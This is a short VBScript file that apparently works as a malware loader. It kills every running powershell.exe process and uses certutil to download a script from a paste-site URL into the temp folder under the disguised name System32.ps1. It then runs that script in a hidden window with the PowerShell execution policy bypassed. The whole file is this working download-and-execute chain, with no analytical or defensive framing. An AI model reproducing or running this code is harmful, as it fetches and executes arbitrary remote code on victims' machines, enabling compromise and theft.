Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")

ps1_file = "%temp%\System32.ps1"
pastebin_url = "https://pastes.io/raw/9ra576zppc"
ps1_process = "powershell.exe"

' Check if the PowerShell script file exists and delete it if it does
If objFSO.FileExists(ps1_file) Then
    objFSO.DeleteFile ps1_file, True
End If

' Check if the PowerShell script is already running
If IsProcessRunning(ps1_process) Then
    ' If PowerShell script is running, kill the process
    objShell.Run "taskkill /F /IM " & ps1_process, 0, True
End If

' Download the content of the PowerShell script
objShell.Run "certutil -urlcache -split -f """ & pastebin_url & """ """ & ps1_file & """", 0, True

' Run the PowerShell script
objShell.Run "powershell -executionpolicy bypass -File """ & ps1_file & """", 0, True

Function IsProcessRunning(processName)
    Dim objWMIService, colProcesses, objProcess

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process Where Name = '" & processName & "'")

    IsProcessRunning = False
    For Each objProcess In colProcesses
        IsProcessRunning = True
        Exit Function
    Next
End Function